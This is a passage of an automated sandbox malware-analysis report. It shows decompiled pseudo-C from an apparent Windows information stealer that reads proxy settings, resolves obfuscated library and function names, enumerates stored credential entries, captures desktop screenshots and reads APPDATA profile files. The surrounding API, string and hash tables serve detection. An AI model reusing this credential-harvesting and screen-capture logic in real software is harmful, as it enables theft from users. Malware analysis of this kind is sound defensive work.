						_t255 = _t250 + 0x24;
						_t204 = 0;
						_v28 = _t165;
						_v24 = _t214;
						 *_t255 = _t202;
						_v32 =  &_a112;
						_t167 = _v0();
						_t250 = _t255 - 0x10;
						if(_t167 != 0) {
							memcpy( &_a17, "socks=", 7);
							_t250 = _t250 + 0xc;
							_t204 = 0;
							_v40 = _t203;
							_v44 = _t248;
							_v48 =  &_a17;
							 *_t250 =  &_a204;
							if(E00408306(0, _t261) != 0) {
								 *_t250 = 0x8c;
								_t180 = malloc(??);
								_t242 = _t180;
								_v44 = 0x40;
								_v48 = _t248;
								 *_t250 = _t180 + 4;
								E00412548();
								 *_t242 = 0;
								 *_t250 = _t203;
								 *((intOrPtr*)(_t242 + 0x44)) = E00412666(0);
								_t184 =  *0x42b304; // 0x0
								 *0x42b304 = _t242;
								 *(_t242 + 0x88) = _t184;
								 *_t250 = 0x8c;
								_t185 = malloc(??);
								_t243 = _t185;
								_v44 = 0x40;
								_v48 = _t248;
								 *_t250 = _t185 + 4;
								E00412548();
								 *_t243 = 2;
								 *_t250 = _t203;
								 *((intOrPtr*)(_t243 + 0x44)) = E00412666(0);
								_t189 =  *0x42b304; // 0x0
								 *0x42b304 = _t243;
								 *(_t243 + 0x88) = _t189;
								_v44 = 4;
								_v48 = 0x422fa5;
								 *_t250 = 0x4223dc;
								E00412548();
							}
						}
					}
				}
				_t127 = E004081AA("U4R-55sEd5Xj90WfZPWR84n_W0PQ00dR5u6d0");
				_v16 = "winhttp.dll";
				_t199 = _t127;
				_t128 = LoadLibraryA(??);
				_v12 = _t199;
				_v16 = _t128;
				_t129 = GetProcAddress(_t204, ??);
				_push(_t199);
				_t234 = _t129;
				_push(_t199);
				if(_t129 != 0) {
					_t130 = malloc(0x10);
					_t200 = _t130;
					_v16 = _t130;
					_t129 =  *_t234();
					_t264 = _t129;
					_push(_t214);
					if(_t129 != 0) {
						_v12 = "%S";
						_t201 =  &_a56;
						_v16 = 0x1000;
						_t246 =  &_a172;
						_v8 =  *((intOrPtr*)(_t200 + 8));
						 *_t250 =  &_a236;
						E004127A8();
						_v12 = 0x1000;
						_v16 = 0x422f70;
						 *_t250 =  &_a236;
						E00412588();
						_v8 = _t201;
						_v12 = _t246;
						_a100 = 0x68;
						_a101 = 0x74;
						_v16 =  &_a100;
						_a102 = 0x74;
						_a103 = 0x70;
						_a104 = 0x3d;
						 *_t250 =  &_a236;
						_a105 = 0;
						_t138 = E00408306(_t204, _t264);
						_t265 = _t138;
						if(_t138 != 0) {
							 *_t250 = 0x8c;
							_t152 = malloc(??);
							_t238 = _t152;
							_v12 = 0x40;
							_v16 = _t246;
							 *_t250 = _t152 + 4;
							E00412548();
							 *_t238 = 3;
							 *_t250 = _t201;
							 *((intOrPtr*)(_t238 + 0x44)) = E00412666(_t204);
							_t156 =  *0x42b304; // 0x0
							 *0x42b304 = _t238;
							 *(_t238 + 0x88) = _t156;
							_v12 = 4;
							_v16 = 0x422fa5;
							 *_t250 = 0x4223dc;
							E00412548();
						}
						memcpy( &_a128, "socks=", 7);
						_t250 = _t250 + 0xc;
						_v8 = _t201;
						_v12 = _t246;
						_v16 =  &_a128;
						 *_t250 =  &_a236;
						_t129 = E00408306(0, _t265);
						if(_t129 != 0) {
							 *_t250 = 0x8c;
							_t142 = malloc(??);
							_t236 = _t142;
							_v12 = 0x40;
							_v16 = _t246;
							 *_t250 = _t142 + 4;
							E00412548();
							 *_t236 = 2;
							 *_t250 = _t201;
							 *((intOrPtr*)(_t236 + 0x44)) = E00412666(0);
							_t146 =  *0x42b304; // 0x0
							 *0x42b304 = _t236;
							 *(_t236 + 0x88) = _t146;
							 *_t250 = 0x8c;
							_t147 = malloc(??);
							_t237 = _t147;
							_v12 = 0x40;
							_v16 = _t246;
							 *_t250 = _t147 + 4;
							E00412548();
							 *_t237 = 0;
							 *_t250 = _t201;
							 *((intOrPtr*)(_t237 + 0x44)) = E00412666(0);
							_t151 =  *0x42b304; // 0x0
							 *0x42b304 = _t237;
							 *(_t237 + 0x88) = _t151;
							_v12 = 4;
							_v16 = 0x422fa5;
							 *_t250 = 0x4223dc;
							_t129 = E00412548();
						}
					}
				}
				return _t129;
			}

APIs

LoadLibraryA.KERNEL32(?,?,?,?,0040914E), ref: 0040843C
GetProcAddress.KERNEL32(?,?), ref: 00408449
LoadLibraryA.KERNEL32(?,?,?,?,?,0040914E), ref: 00408467
GetProcAddress.KERNEL32 ref: 00408474
malloc.MSVCRT ref: 004085DE
malloc.MSVCRT ref: 00408678
malloc.MSVCRT ref: 004086BF
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040914E), ref: 00408730
GetProcAddress.KERNEL32 ref: 0040873D
malloc.MSVCRT ref: 00408755
malloc.MSVCRT ref: 00408802
malloc.MSVCRT ref: 004088A2
malloc.MSVCRT ref: 004088E9

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Strings

winhttp.dll, xrefs: 00408433, 0040845E, 00408727
U4R-55sTsdR, xrefs: 00408427
U4R-55sEd5Xj90WfZPWR84n_W0PQ00dR5u6d0, xrefs: 0040871B
U4R-55sEd590WfZ_W0u0i, xrefs: 00408452
t, xrefs: 004085A7
InternetProxy, xrefs: 00408491
t, xrefs: 004087DB
h, xrefs: 004087C6
t, xrefs: 004087CB
http://www.yandex.com, xrefs: 004084E8
p, xrefs: 004085BC
socks=, xrefs: 0040863E, 00408865
h, xrefs: 004085A2
@, xrefs: 004088F3
=, xrefs: 004085C1
001, xrefs: 0040862E, 0040870F, 00408852, 00408939
=, xrefs: 004087E5
t, xrefs: 004085B7
p, xrefs: 004087E0

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: malloc$AddressLibraryLoadProc$_vsnprintf
String ID: 001$=$=$@$InternetProxy$U4R-55sEd590WfZ_W0u0i$U4R-55sEd5Xj90WfZPWR84n_W0PQ00dR5u6d0$U4R-55sTsdR$h$h$http://www.yandex.com$p$p$socks=$t$t$t$t$winhttp.dll
API String ID: 3272051020-337019666
Opcode ID: 5ae4fd168ad160b687ec016b66311f032f2127d997e6a72b6d5e7ab802d206c0
Instruction ID: 129794d27e18b5d836c16bc2de0120feea3297db44a07732c008f05b0d4f5d07
Opcode Fuzzy Hash: 5ae4fd168ad160b687ec016b66311f032f2127d997e6a72b6d5e7ab802d206c0
Instruction Fuzzy Hash: 09D1F5B0508740AFD710EF25C68479ABBF0BF84744F418C2EE5C897351EBB99989CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040DCE9, Relevance: 38.9, APIs: 16, Strings: 6, Instructions: 395
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E0040DCE9(struct HINSTANCE__* __edx, int* _a4) {
				char _v340;
				char _v344;
				char _v568;
				char _v824;
				char _v852;
				char _v856;
				void _v1068;
				char _v1080;
				void _v1084;
				int _v1092;
				int _v1096;
				int _v1100;
				int _v1104;
				int _v1108;
				char _v1112;
				int _v1116;
				int _v1120;
				_Unknown_base(*)()* _v1124;
				_Unknown_base(*)()* _v1128;
				int _v1132;
				signed int _v1136;
				int _v1144;
				int _v1148;
				char* _v1152;
				signed int _v1160;
				char _v1164;
				char _v1168;
				int* _v1172;
				int _v1176;
				int* _v1180;
				int* _v1184;
				int _v1188;
				int _v1192;
				intOrPtr _v1196;
				intOrPtr _v1200;
				signed char _v1204;
				int _v1208;
				int _v1212;
				int _v1216;
				int _v1220;
				char* _v1224;
				int _v1228;
				char* _v1232;
				int _v1236;
				int _t213;
				_Unknown_base(*)()* _t217;
				int _t218;
				_Unknown_base(*)()* _t221;
				int _t222;
				_Unknown_base(*)()* _t223;
				int _t224;
				signed int _t225;
				int _t231;
				void* _t239;
				void* _t243;
				void* _t263;
				char* _t264;
				int _t271;
				void* _t295;
				int _t296;
				signed char _t303;
				CHAR* _t306;
				intOrPtr* _t307;
				int _t308;
				struct HINSTANCE__* _t313;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				signed char _t317;
				int* _t319;
				int _t321;
				intOrPtr* _t328;
				signed char _t329;
				int _t330;
				signed char _t331;
				struct HINSTANCE__* _t334;
				struct HINSTANCE__* _t335;
				char* _t336;
				char* _t337;
				int _t338;
				void* _t339;
				char** _t342;

				_t313 = __edx;
				_v1108 = 0;
				 *(memcpy( &_v1084, 0x4228a0, 4 << 2)) = 0;
				_v1104 = 0;
				_v1100 = 0;
				_v1096 = 0;
				_v1092 = 0;
				memcpy( &_v1068, 0x4228b0, 4 << 2);
				_t342 = _t339 - 0x48c + 0x18;
				_t334 = LoadLibraryA(E004081AA("2CQi5Yi4.Sii"));
				_t213 = 0;
				_push(_t306);
				if(_t334 == 0) {
					L38:
					return _t213;
				}
				_t328 = GetProcAddress(_t334, E004081AA("zCQi5TsdRzCQi5"));
				_v1180 = "zCQi5PiW6dzCQi5";
				_t217 = GetProcAddress(_t334, E004081AA(_t313));
				_v1180 = "zCQi5jRQld0C5dX5dl6";
				_v1128 = _t217;
				_t218 = E004081AA(0);
				_v1180 = _t334;
				_v1176 = _t218;
				_t307 = GetProcAddress(0, _t313);
				_v1180 = "zCQi5Ed5X5dl";
				_t221 = GetProcAddress(_t334, E004081AA(_t306));
				_v1180 = "zCQi5Ed5X5dl";
				_v1124 = _t221;
				_t222 = E004081AA(_t335);
				_v1180 = _t334;
				_v1176 = _t222;
				_t223 = GetProcAddress(_t335, _t306);
				_v1180 = "zCQi5_0dd";
				_v1120 = _t223;
				_t224 = E004081AA(_t313);
				_v1180 = _t334;
				_v1176 = _t224;
				_t225 = GetProcAddress(_t313, ??);
				_push(0);
				_push(0);
				_t314 = _t313 & 0xffffff00 | _t328 == 0x00000000;
				_v1136 = _t225;
				_t315 = _t314 & 0xffffff00 | _v1128 == 0x00000000;
				_t316 = _t315 & 0xffffff00 | _v1124 == 0x00000000;
				_t317 = _t316 & 0xffffff00 | _v1120 == 0x00000000;
				if((_t225 & 0xffffff00 | _t307 == 0x00000000 | _t314 | _t315 | _t316 | _t317) != 0 || _v1136 == 0) {
					L3:
					_t308 = 0;
					goto L33;
				} else {
					_v1176 = 0;
					_v1172 =  &_v1104;
					_v1180 =  &_v1084;
					_t239 =  *_t328();
					_t342 = _t342 - 0xc;
					if(_t239 != 0) {
						goto L3;
					}
					_v1188 = 0x200;
					_v1180 =  &_v1108;
					_v1184 =  &_v1112;
					_v1192 = _v1116;
					_t243 =  *_t307();
					_t342 = _t342 - 0x10;
					if(_t243 != 0 || _v1128 == 0) {
						goto L3;
					} else {
						if(E004132E6(0, _t317) != 0xa) {
							if(E004132E6(0, _t317) == 0xc || E004132E6(0, _t317) == 0xb || E004132E6(0, _t317) == 0xe || E004132E6(0, _t317) == 0xd || E004132E6(0, _t317) == 0xf) {
								goto L8;
							} else {
								_v1160 = 0;
								_t308 = 0;
								while(_v1160 < _v1128) {
									_v1200 = 0x10;
									_t317 = _v1124 + _v1160 * 0x34;
									_v1204 =  &_v1096;
									_v1208 = _t317;
									_t331 = _t317;
									if(E004129C0() == 0) {
										WideCharToMultiByte(0, 0,  *(_t331 + 0x10), 0xffffffff,  &_v1080, 0x100, 0, 0);
										WideCharToMultiByte(0, 0,  *((intOrPtr*)(_t331 + 0x14)) + 0x20, 0xffffffff,  &_v824, 0x100, 0, 0);
										_t337 =  &_v568;
										WideCharToMultiByte(0, 0,  *((intOrPtr*)(_t331 + 0x18)) + 0x20, 0xffffffff, _t337, 0x100, 0, 0);
										_v1188 = 0;
										_v1192 = 0;
										_v1120 = 0;
										_v1184 =  &_v1120;
										_v1196 =  *((intOrPtr*)(_t331 + 0x18));
										_v1204 = _t331;
										_v1200 =  *((intOrPtr*)(_t331 + 0x14));
										_v1208 = _v1132;
										_t295 = _v1152();
										_t342 = _t342 - 0xffffffffffffffc4;
										if(_t295 == 0) {
											_t321 =  &_v340;
											_v1208 = 0;
											_v1212 = 0;
											_v1216 = 0x100;
											_v1220 = _t321;
											_v1224 = 0xffffffff;
											_v1232 = 0;
											_v1236 = 0;
											_v1176 = _t321;
											_v1228 =  *((intOrPtr*)(_v1148 + 0x1c)) + 0x20;
											WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
											_t342 = _t342 - 0x20;
											_t317 = _v1176;
											_v1220 = _t337;
											_t338 =  &_v1144;
											_v1228 = 2;
											_v1232 = 0x4239a1;
											_v1224 =  &_v852;
											_v1144 = 0;
											_v1216 = _t317;
											_v1236 = _t338;
											_t303 = E00412755( &_v852);
											_t331 = _t303;
											if(_t303 != 0xffffffff) {
												_v1224 = _t303;
												_v1232 = _t308;
												_v1220 = 1;
												_v1228 = _t338;
												_t308 = _t308 + _t331;
												_v1236 =  &_v1164;
												_v1164 = E00412ABF(0);
											}
										}
										_t296 = _v1148;
										if(_t296 != 0) {
											_v1236 = _t296;
											_v1192();
											_push(_t331);
										}
									}
									_v1188 =  &(1[_v1188]);
								}
								L33:
								_t231 = _v1096;
								if(_t231 != 0) {
									_v1180 = _t231;
									_v1136();
									_push(0);
								}
								if(_v1104 != 0) {
									_v1180 =  &_v1104;
									_v1128();
									_push(_t317);
								}
								_push(FreeLibrary(_t334));
								 *_a4 = _t308;
								_t213 = _v1108;
								goto L38;
							}
						}
						L8:
						_v1160 = 0;
						_t308 = 0;
						while(_v1160 < _v1128) {
							_v1200 = 0x10;
							_t317 = _v1124 + _v1160 * 0x38;
							_v1204 =  &_v1096;
							_v1208 = _t317;
							_t329 = _t317;
							if(E004129C0() == 0) {
								WideCharToMultiByte(0, 0,  *(_t329 + 0x10), 0xffffffff,  &_v1080, 0x100, 0, 0);
								WideCharToMultiByte(0, 0,  *((intOrPtr*)(_t329 + 0x14)) + 0x20, 0xffffffff,  &_v824, 0x100, 0, 0);
								_t336 =  &_v568;
								WideCharToMultiByte(0, 0,  *((intOrPtr*)(_t329 + 0x18)) + 0x20, 0xffffffff, _t336, 0x100, 0, 0);
								_v1184 = 0;
								_v1188 = 0;
								_v1192 = 0;
								_v1120 = 0;
								_v1180 =  &_v1120;
								_v1196 =  *((intOrPtr*)(_t329 + 0x18));
								_v1204 = _t329;
								_v1200 =  *((intOrPtr*)(_t329 + 0x14));
								_v1208 = _v1132;
								_t263 = _v1148();
								_t342 = _t342 - 0xffffffffffffffc0;
								if(_t263 == 0) {
									_t319 =  &_v344;
									_v1212 = 0;
									_v1216 = 0;
									_v1220 = 0x100;
									_v1224 = _t319;
									_v1228 = 0xffffffff;
									_v1236 = 0;
									 *_t342 = 0;
									_v1184 = _t319;
									_v1232 = _v1152[0x1c] + 0x20;
									WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
									_t342 = _t342 - 0x20;
									_t317 = _v1184;
									_v1224 = _t336;
									_t336 =  &_v1148;
									_v1232 = 2;
									_v1236 = 0x4239a1;
									_v1228 =  &_v856;
									_v1148 = 0;
									_v1220 = _t317;
									 *_t342 = _t336;
									_t271 = E00412755( &_v856);
									_t330 = _t271;
									if(_t271 != 0xffffffff) {
										_v1228 = _t271;
										_v1236 = _t308;
										_v1224 = 1;
										_v1232 = _t336;
										_t308 = _t308 + _t330;
										 *_t342 =  &_v1168;
										_v1168 = E00412ABF(0);
									}
								}
								_t264 = _v1152;
								if(_t264 != 0) {
									 *_t342 = _t264;
									_v1196();
									_push(_t336);
								}
							}
							_v1192 =  &(1[_v1192]);
						}
						goto L33;
					}
				}
			}

APIs

LoadLibraryA.KERNEL32 ref: 0040DD57
GetProcAddress.KERNEL32(?), ref: 0040DD7C
GetProcAddress.KERNEL32 ref: 0040DD98
GetProcAddress.KERNEL32 ref: 0040DDB6
GetProcAddress.KERNEL32(?,?), ref: 0040DDD2
GetProcAddress.KERNEL32 ref: 0040DDF0
GetProcAddress.KERNEL32 ref: 0040DE0E
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E397

Part of subcall function 004132E6: GetVersionExA.KERNEL32 ref: 00413325
Part of subcall function 004132E6: GetSystemMetrics.USER32 ref: 004133FA

WideCharToMultiByte.KERNEL32 ref: 0040DF74
WideCharToMultiByte.KERNEL32 ref: 0040DFC0
WideCharToMultiByte.KERNEL32 ref: 0040E00C
WideCharToMultiByte.KERNEL32 ref: 0040E0B0
WideCharToMultiByte.KERNEL32 ref: 0040E1B4
WideCharToMultiByte.KERNEL32 ref: 0040E200
WideCharToMultiByte.KERNEL32 ref: 0040E24C
WideCharToMultiByte.KERNEL32 ref: 0040E2E8

Strings

zCQi5_0dd, xrefs: 0040DDF7
zCQi5TsdRzCQi5, xrefs: 0040DD69
zCQi5jRQld0C5dX5dl6, xrefs: 0040DD9F
zCQi5PiW6dzCQi5, xrefs: 0040DD85
2CQi5Yi4.Sii, xrefs: 0040DD48
zCQi5Ed5X5dl, xrefs: 0040DDBF, 0040DDD9

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiWide$AddressProc$Library$FreeLoadMetricsSystemVersion
String ID: 2CQi5Yi4.Sii$zCQi5Ed5X5dl$zCQi5PiW6dzCQi5$zCQi5TsdRzCQi5$zCQi5_0dd$zCQi5jRQld0C5dX5dl6
API String ID: 4051271034-1136301387
Opcode ID: 87aafaf84040a22bc4a574d69e3875252030c0c31ccf32c7b5f1b702cec560f4
Instruction ID: 0411f2c87eaa10a6bc819440aee1928311a11f64f3fd3897648e7812cf6e01f9
Opcode Fuzzy Hash: 87aafaf84040a22bc4a574d69e3875252030c0c31ccf32c7b5f1b702cec560f4
Instruction Fuzzy Hash: 6802ADB04087419FD310EF6AC58875BBBE4BF84358F108D2EF4948B291E7B9D5898F96

Uniqueness

Uniqueness Score: -1.00%

Function 00411D8C, Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 195windowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00411DBD
GetSystemMetrics.USER32 ref: 00411DCC
GetDesktopWindow.USER32 ref: 00411DD4
GetDC.USER32 ref: 00411DFD
CreateCompatibleDC.GDI32 ref: 00411E08
CreateCompatibleBitmap.GDI32(?,?), ref: 00411E1D
SelectObject.GDI32 ref: 00411E4F
BitBlt.GDI32(00000000,00000000), ref: 00411E91
GetDIBits.GDI32 ref: 00411F17
calloc.MSVCRT ref: 00411F9C
GetDIBits.GDI32 ref: 00411FD7
ReleaseDC.USER32 ref: 00412044
DeleteDC.GDI32(00000000), ref: 00412052
DeleteObject.GDI32 ref: 0041205B
free.MSVCRT(?,00000000), ref: 004120B2

Strings

(, xrefs: 00411F58
(, xrefs: 00412003
BM, xrefs: 00411F32
6, xrefs: 00411F47
, xrefs: 00411E5A

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: BitsCompatibleCreateDeleteMetricsObjectSystem$BitmapDesktopReleaseSelectWindowcallocfree
String ID: $($($6$BM
API String ID: 3075093512-2637400849
Opcode ID: d7d7e5d3c01187142e8c43228c98c6042b0c96f3a722dfa341cae57414d2b9e1
Instruction ID: c42d9fa6f562a18c3eedbb1c72d559f421865ac330c7369b2ec7bacda9b62638
Opcode Fuzzy Hash: d7d7e5d3c01187142e8c43228c98c6042b0c96f3a722dfa341cae57414d2b9e1
Instruction Fuzzy Hash: 4781BDB05093409FD310EF6AD68475BBBE4AF88744F40892EF58887351E7B9D8888B5B

Uniqueness

Uniqueness Score: -1.00%

Function 0041AC15, Relevance: 27.2, APIs: 6, Strings: 12, Instructions: 218COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041AC2A
malloc.MSVCRT ref: 0041AC8B
free.MSVCRT ref: 0041AC9F

Part of subcall function 00414FEF: realloc.MSVCRT ref: 00415034

free.MSVCRT ref: 0041AF2C
free.MSVCRT ref: 0041AF38
free.MSVCRT ref: 0041AF8A

Strings

A, xrefs: 0041AEC3
N, xrefs: 0041ADF4
H, xrefs: 0041AE32
I, xrefs: 0041AE2D
D, xrefs: 0041AE37
), xrefs: 0041ACB5
R, xrefs: 0041AE3C
T, xrefs: 0041AED0
G, xrefs: 0041ADFD
I, xrefs: 0041AEAC
D, xrefs: 0041AEBE
P, xrefs: 0041ADD0

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: free$malloc$realloc
String ID: )$A$D$D$G$H$I$I$N$P$R$T
API String ID: 10190057-4026286603
Opcode ID: f7e0d66e6706360943002546ce2ae5a522dee07f1adf161bc0e3ce1e523a7a0e
Instruction ID: 7b50295ee95f3483ab7dff93a2a89c17451d79e52031df4d4eaf42e24e8d509c
Opcode Fuzzy Hash: f7e0d66e6706360943002546ce2ae5a522dee07f1adf161bc0e3ce1e523a7a0e
Instruction Fuzzy Hash: 14A1D27110D3809ED311DB69C48438FFFE1ABA6308F44895EE5C89B382D7B99989CB57

Uniqueness

Uniqueness Score: -1.00%

Function 00401421, Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 101COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00401428
getenv.MSVCRT ref: 00401559

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040159B

Strings

s, xrefs: 00401528
%, xrefs: 0040151E
\, xrefs: 00401530
TEMP, xrefs: 00401550
%s\%s.%s, xrefs: 0040145A
%, xrefs: 00401538
s, xrefs: 00401540

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: getenv$_vsnprintfmalloc
String ID: %$%$%s\%s.%s$TEMP$\$s$s
API String ID: 3160696619-3075679649
Opcode ID: ca09603a6fb3c31e46f94ea190ba63cd36d7fdd7c598f72b2894dd74d252403c
Instruction ID: f04d716bfdf1a3b2f19b14ba05fef692e22545d8b3c1490e52eb58049ae1adaa
Opcode Fuzzy Hash: ca09603a6fb3c31e46f94ea190ba63cd36d7fdd7c598f72b2894dd74d252403c
Instruction Fuzzy Hash: 435196B040C385DEE720EF25D54879EBBE0BF84348F408D2EE5D887281E7B99588DB56

Uniqueness

Uniqueness Score: -1.00%

Function 0040C197, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 83fileCOMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040C1B8

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

getenv.MSVCRT ref: 0040C1F6

Part of subcall function 00407F59: free.MSVCRT ref: 00407F6A

fopen.MSVCRT ref: 0040C22C
malloc.MSVCRT ref: 0040C259
fread.MSVCRT ref: 0040C27D
fclose.MSVCRT ref: 0040C2B0
fclose.MSVCRT ref: 0040C2CA

Strings

%6\Tsd0C\Tsd0C\gCRS.SC5, xrefs: 0040C1BD
%6\Tsd0C\Tsd0C\s0W84id\gCRS.SC5, xrefs: 0040C1FB
APPDATA, xrefs: 0040C1B1, 0040C1EF

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: fclosegetenv$AttributesByteCharFileMultiWide_vsnprintffopenfreadfreemalloc
String ID: %6\Tsd0C\Tsd0C\gCRS.SC5$%6\Tsd0C\Tsd0C\s0W84id\gCRS.SC5$APPDATA
API String ID: 164930318-733405003
Opcode ID: 6f265e7767bb09b1958d82cec7efb8e1d7851cee31c0bd1cca4d9617d6bfff10
Instruction ID: 923c2ccaee423b8f51ada5992f51b5999be8c953822dc98e8fb21a0b7bf81a7a
Opcode Fuzzy Hash: 6f265e7767bb09b1958d82cec7efb8e1d7851cee31c0bd1cca4d9617d6bfff10
Instruction Fuzzy Hash: 113118B05087019ED710BFA6D58526EFBE4AF94358F41883EE4D89B392D77CC4858B4A

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4BC, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 155libraryloadertimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041236C: malloc.MSVCRT ref: 0041237C

LoadLibraryA.KERNEL32 ref: 0040A519
GetProcAddress.KERNEL32 ref: 0040A53C
GetProcAddress.KERNEL32 ref: 0040A55A
GetProcAddress.KERNEL32 ref: 0040A576
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040A604

Part of subcall function 00405D7D: EnterCriticalSection.KERNEL32 ref: 00405DAD
Part of subcall function 00405D7D: LeaveCriticalSection.KERNEL32 ref: 00405ECC

Strings

m6CEd5mWnWRMd664WRaC5C, xrefs: 0040A529
m6CjRQld0C5dmWnWRMd664WR6, xrefs: 0040A563
MdYQ0Nh.Sii, xrefs: 0040A50A
m6C_0ddrd5Q0RcQ88d0, xrefs: 0040A543

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$CriticalSectionTime$EnterFileLeaveLibraryLoadSystemmalloc
String ID: MdYQ0Nh.Sii$m6CEd5mWnWRMd664WRaC5C$m6C_0ddrd5Q0RcQ88d0$m6CjRQld0C5dmWnWRMd664WR6
API String ID: 2869995242-3174184691
Opcode ID: 19d6fc8c2d1306d8d053f19c73e800395e5ac708471e6663d3d13c85d9c19fe9
Instruction ID: 94c08b94b57df9e53fa0a2455e2e566f66701f19132ff7a1c430a127e0c0603f
Opcode Fuzzy Hash: 19d6fc8c2d1306d8d053f19c73e800395e5ac708471e6663d3d13c85d9c19fe9
Instruction Fuzzy Hash: 9761DEB44087109FD710AF26C584A6BBBF4BF88704F01892EE8D897391E7799985CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00408042, Relevance: 13.6, APIs: 9, Instructions: 90COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00408094
_wfopen.MSVCRT ref: 004080AE

Part of subcall function 00407FC3: fgetpos.MSVCRT ref: 00407FE9

fgetpos.MSVCRT ref: 004080F0
fsetpos.MSVCRT ref: 00408126
malloc.MSVCRT ref: 00408132
fread.MSVCRT ref: 00408152
realloc.MSVCRT ref: 00408168
fclose.MSVCRT ref: 00408174
fclose.MSVCRT ref: 00408185

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: fclosefgetpos$ByteCharMultiWide_wfopenfreadfsetposmallocrealloc
String ID:
API String ID: 1812338015-0
Opcode ID: 9089e06318853e29848d6abf22137532cc5c9e930021d096596f87134e90177b
Instruction ID: cce78eb31c107fb340ace7c9921005f6624d878254cb06048c37cb8e28fe17a8
Opcode Fuzzy Hash: 9089e06318853e29848d6abf22137532cc5c9e930021d096596f87134e90177b
Instruction Fuzzy Hash: 6031B6B0509705ABD750AF26C68535EBBE4AF84348F01892EE8D89B281D778D54A8F4B

Uniqueness

Uniqueness Score: -1.00%

Function 0041F151, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 187
stringCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E0041F151() {
				int _t74;
				signed int _t86;
				intOrPtr _t108;
				signed int _t116;
				intOrPtr* _t117;
				signed int _t121;
				signed int _t122;
				signed int _t123;
				void* _t137;
				void _t139;
				void* _t151;
				void* _t152;
				signed int _t153;
				signed int _t154;
				signed int _t155;
				signed int _t156;
				void* _t157;
				void* _t158;
				void* _t159;
				signed int* _t161;

				_t158 = _t157 - 0x5cc;
				_t152 = _t158 + 0x71;
				_t155 =  *(_t158 + 0x5e0);
				_t74 = memset(_t152, 0, 0x105 << 0);
				_t159 = _t158 + 0xc;
				_t137 = _t159 + 0x20;
				 *((intOrPtr*)(_t159 + 0x14)) = 0;
				memset(_t158 + 0x176, _t74, 0x105 << 0);
				memset(_t137, 0, 0x14 << 2);
				_t161 = _t159 + 0x18;
				if(_t137 == 0 || _t155 == 0 || _t161[0x179] == 0) {
					L40:
					_t122 = _t121 | 0xffffffff;
				} else {
					asm("repne scasb");
					_t121 =  !0xffffffff;
					_t161[4] = 0xbadbac;
					if(0 > 0x104) {
						goto L40;
					} else {
						_t161[2] = 0;
						_t161[1] = _t155;
						 *_t161 = _t137;
